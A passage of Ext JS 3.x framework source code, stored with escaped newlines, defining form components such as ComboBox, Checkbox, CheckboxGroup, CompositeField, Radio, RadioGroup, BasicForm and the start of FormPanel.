this.view.select(a);\n    if (c !== false) {\n        var b = this.view.getNode(a);\n        if (b) {\n            this.innerList.scrollChildIntoView(b, false)\n        }\n    }\n}, selectNext:function () {\n    var a = this.store.getCount();\n    if (a > 0) {\n        if (this.selectedIndex == -1) {\n            this.select(0)\n        } else {\n            if (this.selectedIndex < a - 1) {\n                this.select(this.selectedIndex + 1)\n            }\n        }\n    }\n}, selectPrev:function () {\n    var a = this.store.getCount();\n    if (a > 0) {\n        if (this.selectedIndex == -1) {\n            this.select(0)\n        } else {\n            if (this.selectedIndex !== 0) {\n                this.select(this.selectedIndex - 1)\n            }\n        }\n    }\n}, onKeyUp:function (b) {\n    var a = b.getKey();\n    if (this.editable !== false && this.readOnly !== true && (a == b.BACKSPACE || !b.isSpecialKey())) {\n        this.lastKey = a;\n        this.dqTask.delay(this.queryDelay)\n    }\n    Ext.form.ComboBox.superclass.onKeyUp.call(this, b)\n}, validateBlur:function () {\n    return !this.list || !this.list.isVisible()\n}, initQuery:function () {\n    this.doQuery(this.getRawValue())\n}, beforeBlur:function () {\n    this.assertValue()\n}, postBlur:function () {\n    Ext.form.ComboBox.superclass.postBlur.call(this);\n    this.collapse();\n    this.inKeyMode = false\n}, doQuery:function (c, b) {\n    c = Ext.isEmpty(c) ? \"\" : c;\n    var a = {query:c, forceAll:b, combo:this, cancel:false};\n    if (this.fireEvent(\"beforequery\", a) === false || a.cancel) {\n        return false\n    }\n    c = a.query;\n    b = a.forceAll;\n    if (b === true || (c.length >= this.minChars)) {\n        if (this.lastQuery !== c) {\n            this.lastQuery = c;\n            if (this.mode == \"local\") {\n                this.selectedIndex = -1;\n                if (b) {\n                    this.store.clearFilter()\n                } else {\n                    this.store.filter(this.displayField, c)\n                }\n                this.onLoad()\n            } else {\n                this.store.baseParams[this.queryParam] = c;\n                this.store.load({params:this.getParams(c)});\n                this.expand()\n            }\n        } else {\n            this.selectedIndex = -1;\n            this.onLoad()\n        }\n    }\n}, getParams:function (a) {\n    var b = {}, c = this.store.paramNames;\n    if (this.pageSize) {\n        b[c.start] = 0;\n        b[c.limit] = this.pageSize\n    }\n    return b\n}, collapse:function () {\n    if (!this.isExpanded()) {\n        return\n    }\n    this.list.hide();\n    Ext.getDoc().un(\"mousewheel\", this.collapseIf, this);\n    Ext.getDoc().un(\"mousedown\", this.collapseIf, this);\n    this.fireEvent(\"collapse\", this)\n}, collapseIf:function (a) {\n    if (!this.isDestroyed && !a.within(this.wrap) && !a.within(this.list)) {\n        this.collapse()\n    }\n}, expand:function () {\n    if (this.isExpanded() || !this.hasFocus) {\n        return\n    }\n    if (this.title || this.pageSize) {\n        this.assetHeight = 0;\n        if (this.title) {\n            this.assetHeight += this.header.getHeight()\n        }\n        if (this.pageSize) {\n            this.assetHeight += this.footer.getHeight()\n        }\n    }\n    if (this.bufferSize) {\n        this.doResize(this.bufferSize);\n        delete this.bufferSize\n    }\n    this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign));\n    this.list.setZIndex(this.getZIndex());\n    this.list.show();\n    if (Ext.isGecko2) {\n        this.innerList.setOverflow(\"auto\")\n    }\n    this.mon(Ext.getDoc(), {scope:this, mousewheel:this.collapseIf, mousedown:this.collapseIf});\n    this.fireEvent(\"expand\", this)\n}, onTriggerClick:function () {\n    if (this.readOnly || this.disabled) {\n        return\n    }\n    if (this.isExpanded()) {\n        this.collapse();\n        this.el.focus()\n    } else {\n        this.onFocus({});\n        if (this.triggerAction == \"all\") {\n            this.doQuery(this.allQuery, true)\n        } else {\n            this.doQuery(this.getRawValue())\n        }\n        this.el.focus()\n    }\n}});\nExt.reg(\"combo\", Ext.form.ComboBox);\nExt.form.Checkbox = Ext.extend(Ext.form.Field, {focusClass:undefined, fieldClass:\"x-form-field\", checked:false, boxLabel:\"&#160;\", defaultAutoCreate:{tag:\"input\", type:\"checkbox\", autocomplete:\"off\"}, actionMode:\"wrap\", initComponent:function () {\n    Ext.form.Checkbox.superclass.initComponent.call(this);\n    this.addEvents(\"check\")\n}, onResize:function () {\n    Ext.form.Checkbox.superclass.onResize.apply(this, arguments);\n    if (!this.boxLabel && !this.fieldLabel) {\n        this.el.alignTo(this.wrap, \"c-c\")\n    }\n}, initEvents:function () {\n    Ext.form.Checkbox.superclass.initEvents.call(this);\n    this.mon(this.el, {scope:this, click:this.onClick, change:this.onClick})\n}, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, onRender:function (b, a) {\n    Ext.form.Checkbox.superclass.onRender.call(this, b, a);\n    if (this.inputValue !== undefined) {\n        this.el.dom.value = this.inputValue\n    }\n    this.wrap = this.el.wrap({cls:\"x-form-check-wrap\"});\n    if (this.boxLabel) {\n        this.wrap.createChild({tag:\"label\", htmlFor:this.el.id, cls:\"x-form-cb-label\", html:this.boxLabel})\n    }\n    if (this.checked) {\n        this.setValue(true)\n    } else {\n        this.checked = this.el.dom.checked\n    }\n    if (Ext.isIE && !Ext.isStrict) {\n        this.wrap.repaint()\n    }\n    this.resizeEl = this.positionEl = this.wrap\n}, onDestroy:function () {\n    Ext.destroy(this.wrap);\n    Ext.form.Checkbox.superclass.onDestroy.call(this)\n}, initValue:function () {\n    this.originalValue = this.getValue()\n}, getValue:function () {\n    if (this.rendered) {\n        return this.el.dom.checked\n    }\n    return this.checked\n}, onClick:function () {\n    if (this.el.dom.checked != this.checked) {\n        this.setValue(this.el.dom.checked)\n    }\n}, setValue:function (a) {\n    var c = this.checked, b = this.inputValue;\n    if (a === false) {\n        this.checked = false\n    } else {\n        this.checked = (a === true || a === \"true\" || a == \"1\" || (b ? a == b : String(a).toLowerCase() == \"on\"))\n    }\n    if (this.rendered) {\n        this.el.dom.checked = this.checked;\n        this.el.dom.defaultChecked = this.checked\n    }\n    if (c != this.checked) {\n        this.fireEvent(\"check\", this, this.checked);\n        if (this.handler) {\n            this.handler.call(this.scope || this, this, this.checked)\n        }\n    }\n    return this\n}});\nExt.reg(\"checkbox\", Ext.form.Checkbox);\nExt.form.CheckboxGroup = Ext.extend(Ext.form.Field, {columns:\"auto\", vertical:false, allowBlank:true, blankText:\"You must select at least one item in this group\", defaultType:\"checkbox\", groupCls:\"x-form-check-group\", initComponent:function () {\n    this.addEvents(\"change\");\n    this.on(\"change\", this.validate, this);\n    Ext.form.CheckboxGroup.superclass.initComponent.call(this)\n}, onRender:function (j, g) {\n    if (!this.el) {\n        var p = {autoEl:{id:this.id}, cls:this.groupCls, layout:\"column\", renderTo:j, bufferResize:false};\n        var a = {xtype:\"container\", defaultType:this.defaultType, layout:\"form\", defaults:{hideLabel:true, anchor:\"100%\"}};\n        if (this.items[0].items) {\n            Ext.apply(p, {layoutConfig:{columns:this.items.length}, defaults:this.defaults, items:this.items});\n            for (var e = 0, m = this.items.length; e < m; e++) {\n                Ext.applyIf(this.items[e], a)\n            }\n        } else {\n            var d, n = [];\n            if (typeof this.columns == \"string\") {\n                this.columns = this.items.length\n            }\n            if (!Ext.isArray(this.columns)) {\n                var k = [];\n                for (var e = 0; e < this.columns; e++) {\n                    k.push((100 / this.columns) * 0.01)\n                }\n                this.columns = k\n            }\n            d = this.columns.length;\n            for (var e = 0; e < d; e++) {\n                var b = Ext.apply({items:[]}, a);\n                b[this.columns[e] <= 1 ? \"columnWidth\" : \"width\"] = this.columns[e];\n                if (this.defaults) {\n                    b.defaults = Ext.apply(b.defaults || {}, this.defaults)\n                }\n                n.push(b)\n            }\n            if (this.vertical) {\n                var r = Math.ceil(this.items.length / d), o = 0;\n                for (var e = 0, m = this.items.length; e < m; e++) {\n                    if (e > 0 && e % r == 0) {\n                        o++\n                    }\n                    if (this.items[e].fieldLabel) {\n                        this.items[e].hideLabel = false\n                    }\n                    n[o].items.push(this.items[e])\n                }\n            } else {\n                for (var e = 0, m = this.items.length; e < m; e++) {\n                    var q = e % d;\n                    if (this.items[e].fieldLabel) {\n                        this.items[e].hideLabel = false\n                    }\n                    n[q].items.push(this.items[e])\n                }\n            }\n            Ext.apply(p, {layoutConfig:{columns:d}, items:n})\n        }\n        this.panel = new Ext.Container(p);\n        this.panel.ownerCt = this;\n        this.el = this.panel.getEl();\n        if (this.forId && this.itemCls) {\n            var c = this.el.up(this.itemCls).child(\"label\", true);\n            if (c) {\n                c.setAttribute(\"htmlFor\", this.forId)\n            }\n        }\n        var h = this.panel.findBy(function (i) {\n            return i.isFormField\n        }, this);\n        this.items = new Ext.util.MixedCollection();\n        this.items.addAll(h)\n    }\n    Ext.form.CheckboxGroup.superclass.onRender.call(this, j, g)\n}, initValue:function () {\n    if (this.value) {\n        this.setValue.apply(this, this.buffered ? this.value : [this.value]);\n        delete this.buffered;\n        delete this.value\n    }\n}, afterRender:function () {\n    Ext.form.CheckboxGroup.superclass.afterRender.call(this);\n    this.eachItem(function (a) {\n        a.on(\"check\", this.fireChecked, this);\n        a.inGroup = true\n    })\n}, doLayout:function () {\n    if (this.rendered) {\n        this.panel.forceLayout = this.ownerCt.forceLayout;\n        this.panel.doLayout()\n    }\n}, fireChecked:function () {\n    var a = [];\n    this.eachItem(function (b) {\n        if (b.checked) {\n            a.push(b)\n        }\n    });\n    this.fireEvent(\"change\", this, a)\n}, getErrors:function () {\n    var b = Ext.form.CheckboxGroup.superclass.getErrors.apply(this, arguments);\n    if (!this.allowBlank) {\n        var a = true;\n        this.eachItem(function (c) {\n            if (c.checked) {\n                return(a = false)\n            }\n        });\n        if (a) {\n            b.push(this.blankText)\n        }\n    }\n    return b\n}, isDirty:function () {\n    if (this.disabled || !this.rendered) {\n        return false\n    }\n    var a = false;\n    this.eachItem(function (b) {\n        if (b.isDirty()) {\n            a = true;\n            return false\n        }\n    });\n    return a\n}, setReadOnly:function (a) {\n    if (this.rendered) {\n        this.eachItem(function (b) {\n            b.setReadOnly(a)\n        })\n    }\n    this.readOnly = a\n}, onDisable:function () {\n    this.eachItem(function (a) {\n        a.disable()\n    })\n}, onEnable:function () {\n    this.eachItem(function (a) {\n        a.enable()\n    })\n}, onResize:function (a, b) {\n    this.panel.setSize(a, b);\n    this.panel.doLayout()\n}, reset:function () {\n    if (this.originalValue) {\n        this.eachItem(function (a) {\n            if (a.setValue) {\n                a.setValue(false);\n                a.originalValue = a.getValue()\n            }\n        });\n        this.resetOriginal = true;\n        this.setValue(this.originalValue);\n        delete this.resetOriginal\n    } else {\n        this.eachItem(function (a) {\n            if (a.reset) {\n                a.reset()\n            }\n        })\n    }\n    (function () {\n        this.clearInvalid()\n    }).defer(50, this)\n}, setValue:function () {\n    if (this.rendered) {\n        this.onSetValue.apply(this, arguments)\n    } else {\n        this.buffered = true;\n        this.value = arguments\n    }\n    return this\n}, onSetValue:function (d, c) {\n    if (arguments.length == 1) {\n        if (Ext.isArray(d)) {\n            Ext.each(d, function (h, e) {\n                if (Ext.isObject(h) && h.setValue) {\n                    h.setValue(true);\n                    if (this.resetOriginal === true) {\n                        h.originalValue = h.getValue()\n                    }\n                } else {\n                    var g = this.items.itemAt(e);\n                    if (g) {\n                        g.setValue(h)\n                    }\n                }\n            }, this)\n        } else {\n            if (Ext.isObject(d)) {\n                for (var a in d) {\n                    var b = this.getBox(a);\n                    if (b) {\n                        b.setValue(d[a])\n                    }\n                }\n            } else {\n                this.setValueForItem(d)\n            }\n        }\n    } else {\n        var b = this.getBox(d);\n        if (b) {\n            b.setValue(c)\n        }\n    }\n}, beforeDestroy:function () {\n    Ext.destroy(this.panel);\n    if (!this.rendered) {\n        Ext.destroy(this.items)\n    }\n    Ext.form.CheckboxGroup.superclass.beforeDestroy.call(this)\n}, setValueForItem:function (a) {\n    a = String(a).split(\",\");\n    this.eachItem(function (b) {\n        if (a.indexOf(b.inputValue) > -1) {\n            b.setValue(true)\n        }\n    })\n}, getBox:function (b) {\n    var a = null;\n    this.eachItem(function (c) {\n        if (b == c || c.dataIndex == b || c.id == b || c.getName() == b) {\n            a = c;\n            return false\n        }\n    });\n    return a\n}, getValue:function () {\n    var a = [];\n    this.eachItem(function (b) {\n        if (b.checked) {\n            a.push(b)\n        }\n    });\n    return a\n}, eachItem:function (b, a) {\n    if (this.items && this.items.each) {\n        this.items.each(b, a || this)\n    }\n}, getRawValue:Ext.emptyFn, setRawValue:Ext.emptyFn});\nExt.reg(\"checkboxgroup\", Ext.form.CheckboxGroup);\nExt.form.CompositeField = Ext.extend(Ext.form.Field, {defaultMargins:\"0 5 0 0\", skipLastItemMargin:true, isComposite:true, combineErrors:true, labelConnector:\", \", initComponent:function () {\n    var g = [], b = this.items, e;\n    for (var d = 0, c = b.length; d < c; d++) {\n        e = b[d];\n        if (!Ext.isEmpty(e.ref)) {\n            e.ref = \"../\" + e.ref\n        }\n        g.push(e.fieldLabel);\n        Ext.applyIf(e, this.defaults);\n        if (!(d == c - 1 && this.skipLastItemMargin)) {\n            Ext.applyIf(e, {margins:this.defaultMargins})\n        }\n    }\n    this.fieldLabel = this.fieldLabel || this.buildLabel(g);\n    this.fieldErrors = new Ext.util.MixedCollection(true, function (h) {\n        return h.field\n    });\n    this.fieldErrors.on({scope:this, add:this.updateInvalidMark, remove:this.updateInvalidMark, replace:this.updateInvalidMark});\n    Ext.form.CompositeField.superclass.initComponent.apply(this, arguments);\n    this.innerCt = new Ext.Container({layout:\"hbox\", items:this.items, cls:\"x-form-composite\", defaultMargins:\"0 3 0 0\", ownerCt:this});\n    this.innerCt.ownerCt = undefined;\n    var a = this.innerCt.findBy(function (h) {\n        return h.isFormField\n    }, this);\n    this.items = new Ext.util.MixedCollection();\n    this.items.addAll(a)\n}, onRender:function (c, a) {\n    if (!this.el) {\n        var d = this.innerCt;\n        d.render(c);\n        this.el = d.getEl();\n        if (this.combineErrors) {\n            this.eachItem(function (e) {\n                Ext.apply(e, {markInvalid:this.onFieldMarkInvalid.createDelegate(this, [e], 0), clearInvalid:this.onFieldClearInvalid.createDelegate(this, [e], 0)})\n            })\n        }\n        var b = this.el.parent().parent().child(\"label\", true);\n        if (b) {\n            b.setAttribute(\"for\", this.items.items[0].id)\n        }\n    }\n    Ext.form.CompositeField.superclass.onRender.apply(this, arguments)\n}, onFieldMarkInvalid:function (d, c) {\n    var b = d.getName(), a = {field:b, errorName:d.fieldLabel || b, error:c};\n    this.fieldErrors.replace(b, a);\n    if (!d.preventMark) {\n        d.el.addClass(d.invalidClass)\n    }\n}, onFieldClearInvalid:function (a) {\n    this.fieldErrors.removeKey(a.getName());\n    a.el.removeClass(a.invalidClass)\n}, updateInvalidMark:function () {\n    var a = Ext.isIE6 && Ext.isStrict;\n    if (this.fieldErrors.length == 0) {\n        this.clearInvalid();\n        if (a) {\n            this.clearInvalid.defer(50, this)\n        }\n    } else {\n        var b = this.buildCombinedErrorMessage(this.fieldErrors.items);\n        this.sortErrors();\n        this.markInvalid(b);\n        if (a) {\n            this.markInvalid(b)\n        }\n    }\n}, validateValue:function (c, a) {\n    var b = true;\n    this.eachItem(function (d) {\n        if (!d.isValid(a)) {\n            b = false\n        }\n    });\n    return b\n}, buildCombinedErrorMessage:function (e) {\n    var d = [], b;\n    for (var c = 0, a = e.length; c < a; c++) {\n        b = e[c];\n        d.push(String.format(\"{0}: {1}\", b.errorName, b.error))\n    }\n    return d.join(\"<br />\")\n}, sortErrors:function () {\n    var a = this.items;\n    this.fieldErrors.sort(\"ASC\", function (g, d) {\n        var c = function (b) {\n            return function (i) {\n                return i.getName() == b\n            }\n        };\n        var h = a.findIndexBy(c(g.field)), e = a.findIndexBy(c(d.field));\n        return h < e ? -1 : 1\n    })\n}, reset:function () {\n    this.eachItem(function (a) {\n        a.reset()\n    });\n    (function () {\n        this.clearInvalid()\n    }).defer(50, this)\n}, clearInvalidChildren:function () {\n    this.eachItem(function (a) {\n        a.clearInvalid()\n    })\n}, buildLabel:function (a) {\n    return Ext.clean(a).join(this.labelConnector)\n}, isDirty:function () {\n    if (this.disabled || !this.rendered) {\n        return false\n    }\n    var a = false;\n    this.eachItem(function (b) {\n        if (b.isDirty()) {\n            a = true;\n            return false\n        }\n    });\n    return a\n}, eachItem:function (b, a) {\n    if (this.items && this.items.each) {\n        this.items.each(b, a || this)\n    }\n}, onResize:function (e, c, a, d) {\n    var b = this.innerCt;\n    if (this.rendered && b.rendered) {\n        b.setSize(e, c)\n    }\n    Ext.form.CompositeField.superclass.onResize.apply(this, arguments)\n}, doLayout:function (c, b) {\n    if (this.rendered) {\n        var a = this.innerCt;\n        a.forceLayout = this.ownerCt.forceLayout;\n        a.doLayout(c, b)\n    }\n}, beforeDestroy:function () {\n    Ext.destroy(this.innerCt);\n    Ext.form.CompositeField.superclass.beforeDestroy.call(this)\n}, setReadOnly:function (a) {\n    if (a == undefined) {\n        a = true\n    }\n    a = !!a;\n    if (this.rendered) {\n        this.eachItem(function (b) {\n            b.setReadOnly(a)\n        })\n    }\n    this.readOnly = a\n}, onShow:function () {\n    Ext.form.CompositeField.superclass.onShow.call(this);\n    this.doLayout()\n}, onDisable:function () {\n    this.eachItem(function (a) {\n        a.disable()\n    })\n}, onEnable:function () {\n    this.eachItem(function (a) {\n        a.enable()\n    })\n}});\nExt.reg(\"compositefield\", Ext.form.CompositeField);\nExt.form.Radio = Ext.extend(Ext.form.Checkbox, {inputType:\"radio\", markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, getGroupValue:function () {\n    var a = this.el.up(\"form\") || Ext.getBody();\n    var b = a.child('input[name=\"' + this.el.dom.name + '\"]:checked', true);\n    return b ? b.value : null\n}, setValue:function (b) {\n    var a, d, c;\n    if (typeof b == \"boolean\") {\n        Ext.form.Radio.superclass.setValue.call(this, b)\n    } else {\n        if (this.rendered) {\n            a = this.getCheckEl();\n            c = a.child('input[name=\"' + this.el.dom.name + '\"][value=\"' + b + '\"]', true);\n            if (c) {\n                Ext.getCmp(c.id).setValue(true)\n            }\n        }\n    }\n    if (this.rendered && this.checked) {\n        a = a || this.getCheckEl();\n        d = this.getCheckEl().select('input[name=\"' + this.el.dom.name + '\"]');\n        d.each(function (e) {\n            if (e.dom.id != this.id) {\n                Ext.getCmp(e.dom.id).setValue(false)\n            }\n        }, this)\n    }\n    return this\n}, getCheckEl:function () {\n    if (this.inGroup) {\n        return this.el.up(\".x-form-radio-group\")\n    }\n    return this.el.up(\"form\") || Ext.getBody()\n}});\nExt.reg(\"radio\", Ext.form.Radio);\nExt.form.RadioGroup = Ext.extend(Ext.form.CheckboxGroup, {allowBlank:true, blankText:\"You must select one item in this group\", defaultType:\"radio\", groupCls:\"x-form-radio-group\", getValue:function () {\n    var a = null;\n    this.eachItem(function (b) {\n        if (b.checked) {\n            a = b;\n            return false\n        }\n    });\n    return a\n}, onSetValue:function (c, b) {\n    if (arguments.length > 1) {\n        var a = this.getBox(c);\n        if (a) {\n            a.setValue(b);\n            if (a.checked) {\n                this.eachItem(function (d) {\n                    if (d !== a) {\n                        d.setValue(false)\n                    }\n                })\n            }\n        }\n    } else {\n        this.setValueForItem(c)\n    }\n}, setValueForItem:function (a) {\n    a = String(a).split(\",\")[0];\n    this.eachItem(function (b) {\n        b.setValue(a == b.inputValue)\n    })\n}, fireChecked:function () {\n    if (!this.checkTask) {\n        this.checkTask = new Ext.util.DelayedTask(this.bufferChecked, this)\n    }\n    this.checkTask.delay(10)\n}, bufferChecked:function () {\n    var a = null;\n    this.eachItem(function (b) {\n        if (b.checked) {\n            a = b;\n            return false\n        }\n    });\n    this.fireEvent(\"change\", this, a)\n}, onDestroy:function () {\n    if (this.checkTask) {\n        this.checkTask.cancel();\n        this.checkTask = null\n    }\n    Ext.form.RadioGroup.superclass.onDestroy.call(this)\n}});\nExt.reg(\"radiogroup\", Ext.form.RadioGroup);\nExt.form.Hidden = Ext.extend(Ext.form.Field, {inputType:\"hidden\", shouldLayout:false, onRender:function () {\n    Ext.form.Hidden.superclass.onRender.apply(this, arguments)\n}, initEvents:function () {\n    this.originalValue = this.getValue()\n}, setSize:Ext.emptyFn, setWidth:Ext.emptyFn, setHeight:Ext.emptyFn, setPosition:Ext.emptyFn, setPagePosition:Ext.emptyFn, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn});\nExt.reg(\"hidden\", Ext.form.Hidden);\nExt.form.BasicForm = Ext.extend(Ext.util.Observable, {constructor:function (b, a) {\n    Ext.apply(this, a);\n    if (Ext.isString(this.paramOrder)) {\n        this.paramOrder = this.paramOrder.split(/[\\s,|]/)\n    }\n    this.items = new Ext.util.MixedCollection(false, function (c) {\n        return c.getItemId()\n    });\n    this.addEvents(\"beforeaction\", \"actionfailed\", \"actioncomplete\");\n    if (b) {\n        this.initEl(b)\n    }\n    Ext.form.BasicForm.superclass.constructor.call(this)\n}, timeout:30, paramOrder:undefined, paramsAsHash:false, waitTitle:\"Please Wait...\", activeAction:null, trackResetOnLoad:false, initEl:function (a) {\n    this.el = Ext.get(a);\n    this.id = this.el.id || Ext.id();\n    if (!this.standardSubmit) {\n        this.el.on(\"submit\", this.onSubmit, this)\n    }\n    this.el.addClass(\"x-form\")\n}, getEl:function () {\n    return this.el\n}, onSubmit:function (a) {\n    a.stopEvent()\n}, destroy:function (a) {\n    if (a !== true) {\n        this.items.each(function (b) {\n            Ext.destroy(b)\n        });\n        Ext.destroy(this.el)\n    }\n    this.items.clear();\n    this.purgeListeners()\n}, isValid:function () {\n    var a = true;\n    this.items.each(function (b) {\n        if (!b.validate()) {\n            a = false\n        }\n    });\n    return a\n}, isDirty:function () {\n    var a = false;\n    this.items.each(function (b) {\n        if (b.isDirty()) {\n            a = true;\n            return false\n        }\n    });\n    return a\n}, doAction:function (b, a) {\n    if (Ext.isString(b)) {\n        b = new Ext.form.Action.ACTION_TYPES[b](this, a)\n    }\n    if (this.fireEvent(\"beforeaction\", this, b) !== false) {\n        this.beforeAction(b);\n        b.run.defer(100, b)\n    }\n    return this\n}, submit:function (b) {\n    b = b || {};\n    if (this.standardSubmit) {\n        var a = b.clientValidation === false || this.isValid();\n        if (a) {\n            var c = this.el.dom;\n            if (this.url && Ext.isEmpty(c.action)) {\n                c.action = this.url\n            }\n            c.submit()\n        }\n        return a\n    }\n    var d = String.format(\"{0}submit\", this.api ? \"direct\" : \"\");\n    this.doAction(d, b);\n    return this\n}, load:function (a) {\n    var b = String.format(\"{0}load\", this.api ? \"direct\" : \"\");\n    this.doAction(b, a);\n    return this\n}, updateRecord:function (b) {\n    b.beginEdit();\n    var a = b.fields, d, c;\n    a.each(function (e) {\n        d = this.findField(e.name);\n        if (d) {\n            c = d.getValue();\n            if (Ext.type(c) !== false && c.getGroupValue) {\n                c = c.getGroupValue()\n            } else {\n                if (d.eachItem) {\n                    c = [];\n                    d.eachItem(function (g) {\n                        c.push(g.getValue())\n                    })\n                }\n            }\n            b.set(e.name, c)\n        }\n    }, this);\n    b.endEdit();\n    return this\n}, loadRecord:function (a) {\n    this.setValues(a.data);\n    return this\n}, beforeAction:function (a) {\n    this.items.each(function (c) {\n        if (c.isFormField && c.syncValue) {\n            c.syncValue()\n        }\n    });\n    var b = a.options;\n    if (b.waitMsg) {\n        if (this.waitMsgTarget === true) {\n            this.el.mask(b.waitMsg, \"x-mask-loading\")\n        } else {\n            if (this.waitMsgTarget) {\n                this.waitMsgTarget = Ext.get(this.waitMsgTarget);\n                this.waitMsgTarget.mask(b.waitMsg, \"x-mask-loading\")\n            } else {\n                Ext.MessageBox.wait(b.waitMsg, b.waitTitle || this.waitTitle)\n            }\n        }\n    }\n}, afterAction:function (a, c) {\n    this.activeAction = null;\n    var b = a.options;\n    if (b.waitMsg) {\n        if (this.waitMsgTarget === true) {\n            this.el.unmask()\n        } else {\n            if (this.waitMsgTarget) {\n                this.waitMsgTarget.unmask()\n            } else {\n                Ext.MessageBox.updateProgress(1);\n                Ext.MessageBox.hide()\n            }\n        }\n    }\n    if (c) {\n        if (b.reset) {\n            this.reset()\n        }\n        Ext.callback(b.success, b.scope, [this, a]);\n        this.fireEvent(\"actioncomplete\", this, a)\n    } else {\n        Ext.callback(b.failure, b.scope, [this, a]);\n        this.fireEvent(\"actionfailed\", this, a)\n    }\n}, findField:function (c) {\n    var b = this.items.get(c);\n    if (!Ext.isObject(b)) {\n        var a = function (d) {\n            if (d.isFormField) {\n                if (d.dataIndex == c || d.id == c || d.getName() == c) {\n                    b = d;\n                    return false\n                } else {\n                    if (d.isComposite) {\n                        return d.items.each(a)\n                    } else {\n                        if (d instanceof Ext.form.CheckboxGroup && d.rendered) {\n                            return d.eachItem(a)\n                        }\n                    }\n                }\n            }\n        };\n        this.items.each(a)\n    }\n    return b || null\n}, markInvalid:function (h) {\n    if (Ext.isArray(h)) {\n        for (var c = 0, a = h.length; c < a; c++) {\n            var b = h[c];\n            var d = this.findField(b.id);\n            if (d) {\n                d.markInvalid(b.msg)\n            }\n        }\n    } else {\n        var e, g;\n        for (g in h) {\n            if (!Ext.isFunction(h[g]) && (e = this.findField(g))) {\n                e.markInvalid(h[g])\n            }\n        }\n    }\n    return this\n}, setValues:function (c) {\n    if (Ext.isArray(c)) {\n        for (var d = 0, a = c.length; d < a; d++) {\n            var b = c[d];\n            var e = this.findField(b.id);\n            if (e) {\n                e.setValue(b.value);\n                if (this.trackResetOnLoad) {\n                    e.originalValue = e.getValue()\n                }\n            }\n        }\n    } else {\n        var g, h;\n        for (h in c) {\n            if (!Ext.isFunction(c[h]) && (g = this.findField(h))) {\n                g.setValue(c[h]);\n                if (this.trackResetOnLoad) {\n                    g.originalValue = g.getValue()\n                }\n            }\n        }\n    }\n    return this\n}, getValues:function (b) {\n    var a = Ext.lib.Ajax.serializeForm(this.el.dom);\n    if (b === true) {\n        return a\n    }\n    return Ext.urlDecode(a)\n}, getFieldValues:function (a) {\n    var d = {}, e, b, c;\n    this.items.each(function (g) {\n        if (!g.disabled && (a !== true || g.isDirty())) {\n            e = g.getName();\n            b = d[e];\n            c = g.getValue();\n            if (Ext.isDefined(b)) {\n                if (Ext.isArray(b)) {\n                    d[e].push(c)\n                } else {\n                    d[e] = [b, c]\n                }\n            } else {\n                d[e] = c\n            }\n        }\n    });\n    return d\n}, clearInvalid:function () {\n    this.items.each(function (a) {\n        a.clearInvalid()\n    });\n    return this\n}, reset:function () {\n    this.items.each(function (a) {\n        a.reset()\n    });\n    return this\n}, add:function () {\n    this.items.addAll(Array.prototype.slice.call(arguments, 0));\n    return this\n}, remove:function (a) {\n    this.items.remove(a);\n    return this\n}, cleanDestroyed:function () {\n    this.items.filterBy(\n        function (a) {\n            return !!a.isDestroyed\n        }).each(this.remove, this)\n}, render:function () {\n    this.items.each(function (a) {\n        if (a.isFormField && !a.rendered && document.getElementById(a.id)) {\n            a.applyToMarkup(a.id)\n        }\n    });\n    return this\n}, applyToFields:function (a) {\n    this.items.each(function (b) {\n        Ext.apply(b, a)\n    });\n    return this\n}, applyIfToFields:function (a) {\n    this.items.each(function (b) {\n        Ext.applyIf(b, a)\n    });\n    return this\n}, callFieldMethod:function (b, a) {\n    a = a || [];\n    this.items.each(function (c) {\n        if (Ext.isFunction(c[b])) {\n            c[b].apply(c, a)\n        }\n    });\n    return this\n}});\nExt.BasicForm = Ext.form.BasicForm;\nExt.FormPanel = Ext.extend(Ext.Panel, {minButtonWidth:75, labelAlign:\"left\", monitorValid:false, monitorPoll:200, layout:\"form\", initComponent:function () {\n    this.form = this.createForm();\n    Ext.FormPanel.superclass.initComponent.call(this);\n    this.bodyCfg = {tag:\"form\", cls:this.baseCls + \"-body\", method:this.method || \"POST\", id:this.formId || Ext.id()};\n    if (this.fileUpload) {\n        this.bodyCfg.enctype = \"multipart/form-data\"\n    }\n    this.initItems();\n    this.addEvents(\"clientvalidation\");\n    this.relayEvents(this.form, [\"beforeaction\", \"actionfailed\", \"actioncomplete\"])\n}, createForm:function () {\n    var a = Ext.applyIf({listeners:{}}, this.initialConfig);\n    return new Ext.form.BasicForm(null, a)\n}, initFields:function () {\n    var c = this.form;\n    var a = this;\n    var b = function (d) {\n        if (a.isField(d)) {\n            c.add(d)\n        } else {\n            if (d.findBy && d != a) {\n                a.applySettings(d);\n                if (d.items && d.items.each) {\n                    d.items.each(b, this)\n                }\n            }\n        }\n    };\n    this.items.each(b, this)\n}, applySettings:function (b) {\n    var a = b.ownerCt;\n    Ext.applyIf(b, {labelAlign:a.labelAlign, labelWidth:a.labelWidth, itemCls:a.itemCls})\n}, getLayoutTarget:function () {\n    return this.form.el\n}, getForm:function () {\n    return this.form\n}, onRender:function (b, a) {\n    this.initFields();\n    Ext.FormPanel.superclass.onRender.call(this, b, a);\n    this.form.initEl(this.body)\n}, beforeDestroy:function () {\n    this.stopMonitoring();\n    this.form.destroy(true);\n    Ext.FormPanel.superclass.beforeDestroy.call(this)\n}, isField:function (a) {\n    return !!a.setValue && !!a.getValue && !!a.markInvalid && !!a.clearInvalid\n}, initEvents:function () {\n    Ext.FormPanel.superclass.initEvents.call(this);\n    this.on({scope:this, add:this.onAddEvent, remove:this.onRemoveEvent});\n    if (this.monitorValid) {\n        this.startMonitoring()\n    }\n}, onAdd:function (a) {\n    Ext.FormPanel.superclass.onAdd.call(this, a);\n    this.processAdd(a)\n}, onAddEvent:function (a, b) {\n    if (a !== this) {\n        this.processAdd(b)\n    }\n}, processAdd:function (a) {\n    if (this.isField(a)) {\n        this.form.add(a)\n    } else {\n        if (a.findBy) {\n            this.applySettings(a);\n            this.form.add.apply(this.form, a.findBy(this.isField))\n        }\n    }\n}, onRemove:function (a) {\n    Ext.FormPanel.superclass.onRemove.call(this, a);\n    this.processRemove(a)\n}, onRemoveEvent:function (a, b) {\n    if (a !== this) {\n        this.processRemove(b)\n    }\n}, processRemove:function (a) {\n    if (!this.destroying) {\n        if (this.isField(a)) {\n            this.form.remove(a)\n        } else {\n            if (a.findBy) {\n                Ext.each(a.findBy(this.isField), this.form.remove, this.form);\n                this.form.cleanDestroyed()\n           